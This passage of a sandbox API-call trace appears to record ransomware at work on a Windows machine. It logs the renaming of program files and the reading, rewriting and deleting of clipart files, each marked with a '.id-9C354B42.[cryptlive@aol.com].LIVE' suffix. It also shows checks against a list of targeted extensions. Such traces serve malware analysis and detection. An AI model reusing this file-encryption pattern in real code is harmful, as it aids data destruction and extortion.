lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.206] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.213] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.214] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.215] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.215] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0133.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0133.833] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.833] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.371] GetLastError () returned 0x0 [0134.371] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0134.446] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0134.447] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.447] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0134.447] SetEndOfFile (hFile=0x1fc) returned 1 [0134.449] CloseHandle (hObject=0x1fc) returned 1 [0134.449] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.449] SetEndOfFile (hFile=0x1ec) returned 1 [0134.452] CloseHandle (hObject=0x1ec) returned 1 [0134.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0134.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.473] lstrlenW (lpString=".doc") returned 4 [0134.473] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.473] lstrlenW (lpString=".docx") returned 5 [0134.473] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.473] lstrlenW (lpString=".pdf") returned 4 [0134.473] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.473] lstrlenW (lpString=".xls") returned 4 [0134.473] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.473] lstrlenW (lpString=".xlsx") returned 5 [0134.473] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.473] lstrlenW (lpString=".ppt") returned 4 [0134.473] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.473] lstrlenW (lpString=".zip") returned 4 [0134.473] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.473] lstrlenW (lpString=".rar") returned 4 [0134.473] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.473] lstrlenW (lpString=".bz2") returned 4 [0134.473] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.473] lstrlenW (lpString=".7z") returned 3 [0134.473] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.473] lstrlenW (lpString=".dbf") returned 4 [0134.473] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.473] lstrlenW (lpString=".1cd") returned 4 [0134.474] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.474] lstrlenW (lpString=".jpg") returned 4 [0134.474] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.474] lstrlenW (lpString=".doc") returned 4 [0134.474] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.474] lstrlenW (lpString=".docx") returned 5 [0134.474] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.474] lstrlenW (lpString=".pdf") returned 4 [0134.474] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.474] lstrlenW (lpString=".xls") returned 4 [0134.474] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.474] lstrlenW (lpString=".xlsx") returned 5 [0134.474] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.474] lstrlenW (lpString=".ppt") returned 4 [0134.474] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.474] lstrlenW (lpString=".zip") returned 4 [0134.474] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.474] lstrlenW (lpString=".rar") returned 4 [0134.474] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.474] lstrlenW (lpString=".bz2") returned 4 [0134.474] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.474] lstrlenW (lpString=".7z") returned 3 [0134.474] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.474] lstrlenW (lpString=".dbf") returned 4 [0134.474] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.474] lstrlenW (lpString=".1cd") returned 4 [0134.474] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0134.474] lstrlenW (lpString=".jpg") returned 4 [0134.475] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.475] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.475] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0134.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.476] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5440) returned 1 [0134.476] CloseHandle (hObject=0x384) returned 1 [0134.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0134.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.477] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.477] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.477] GetLastError () returned 0x0 [0134.477] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1540, lpOverlapped=0x0) returned 1 [0134.487] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1550, lpOverlapped=0x0) returned 1 [0134.488] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.488] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.488] SetEndOfFile (hFile=0x2f8) returned 1 [0134.489] CloseHandle (hObject=0x2f8) returned 1 [0134.489] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.489] SetEndOfFile (hFile=0x384) returned 1 [0134.492] CloseHandle (hObject=0x384) returned 1 [0134.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0134.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.493] lstrlenW (lpString=".doc") returned 4 [0134.493] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.493] lstrlenW (lpString=".docx") returned 5 [0134.493] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.493] lstrlenW (lpString=".pdf") returned 4 [0134.493] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.493] lstrlenW (lpString=".xls") returned 4 [0134.493] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.493] lstrlenW (lpString=".xlsx") returned 5 [0134.493] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.493] lstrlenW (lpString=".ppt") returned 4 [0134.493] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.493] lstrlenW (lpString=".zip") returned 4 [0134.493] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.493] lstrlenW (lpString=".rar") returned 4 [0134.493] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.493] lstrlenW (lpString=".bz2") returned 4 [0134.493] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.493] lstrlenW (lpString=".7z") returned 3 [0134.493] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.493] lstrlenW (lpString=".dbf") returned 4 [0134.493] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.493] lstrlenW (lpString=".1cd") returned 4 [0134.494] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.494] lstrlenW (lpString=".jpg") returned 4 [0134.494] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.494] lstrlenW (lpString=".doc") returned 4 [0134.494] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.494] lstrlenW (lpString=".docx") returned 5 [0134.494] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.494] lstrlenW (lpString=".pdf") returned 4 [0134.494] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.494] lstrlenW (lpString=".xls") returned 4 [0134.494] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.494] lstrlenW (lpString=".xlsx") returned 5 [0134.494] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.494] lstrlenW (lpString=".ppt") returned 4 [0134.494] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.494] lstrlenW (lpString=".zip") returned 4 [0134.494] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.494] lstrlenW (lpString=".rar") returned 4 [0134.494] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.494] lstrlenW (lpString=".bz2") returned 4 [0134.494] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.494] lstrlenW (lpString=".7z") returned 3 [0134.494] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.494] lstrlenW (lpString=".dbf") returned 4 [0134.494] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.494] lstrlenW (lpString=".1cd") returned 4 [0134.494] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0134.495] lstrlenW (lpString=".jpg") returned 4 [0134.495] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.495] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.495] lstrlenW (lpString="PAPER_01.MID") returned 12 [0134.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.496] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6763) returned 1 [0134.496] CloseHandle (hObject=0x384) returned 1 [0134.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0134.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.496] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.496] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.497] GetLastError () returned 0x0 [0134.497] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0134.499] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0134.500] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.500] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.500] SetEndOfFile (hFile=0x2f8) returned 1 [0134.500] CloseHandle (hObject=0x2f8) returned 1 [0134.501] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.501] SetEndOfFile (hFile=0x384) returned 1 [0134.503] CloseHandle (hObject=0x384) returned 1 [0134.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0134.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.504] lstrlenW (lpString=".doc") returned 4 [0134.504] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.504] lstrlenW (lpString=".docx") returned 5 [0134.504] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.504] lstrlenW (lpString=".pdf") returned 4 [0134.504] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.504] lstrlenW (lpString=".xls") returned 4 [0134.504] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.504] lstrlenW (lpString=".xlsx") returned 5 [0134.504] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.504] lstrlenW (lpString=".ppt") returned 4 [0134.504] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.504] lstrlenW (lpString=".zip") returned 4 [0134.504] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.504] lstrlenW (lpString=".rar") returned 4 [0134.504] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.505] lstrlenW (lpString=".bz2") returned 4 [0134.505] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.505] lstrlenW (lpString=".7z") returned 3 [0134.505] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.505] lstrlenW (lpString=".dbf") returned 4 [0134.505] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.505] lstrlenW (lpString=".1cd") returned 4 [0134.505] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.505] lstrlenW (lpString=".jpg") returned 4 [0134.505] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.505] lstrlenW (lpString=".doc") returned 4 [0134.505] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.505] lstrlenW (lpString=".docx") returned 5 [0134.505] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.505] lstrlenW (lpString=".pdf") returned 4 [0134.505] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.505] lstrlenW (lpString=".xls") returned 4 [0134.505] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.505] lstrlenW (lpString=".xlsx") returned 5 [0134.505] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.505] lstrlenW (lpString=".ppt") returned 4 [0134.505] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.505] lstrlenW (lpString=".zip") returned 4 [0134.505] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.505] lstrlenW (lpString=".rar") returned 4 [0134.505] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.505] lstrlenW (lpString=".bz2") returned 4 [0134.505] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.506] lstrlenW (lpString=".7z") returned 3 [0134.506] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.506] lstrlenW (lpString=".dbf") returned 4 [0134.506] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.506] lstrlenW (lpString=".1cd") returned 4 [0134.506] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0134.506] lstrlenW (lpString=".jpg") returned 4 [0134.506] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.506] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.506] lstrlenW (lpString="PARNT_01.MID") returned 12 [0134.506] 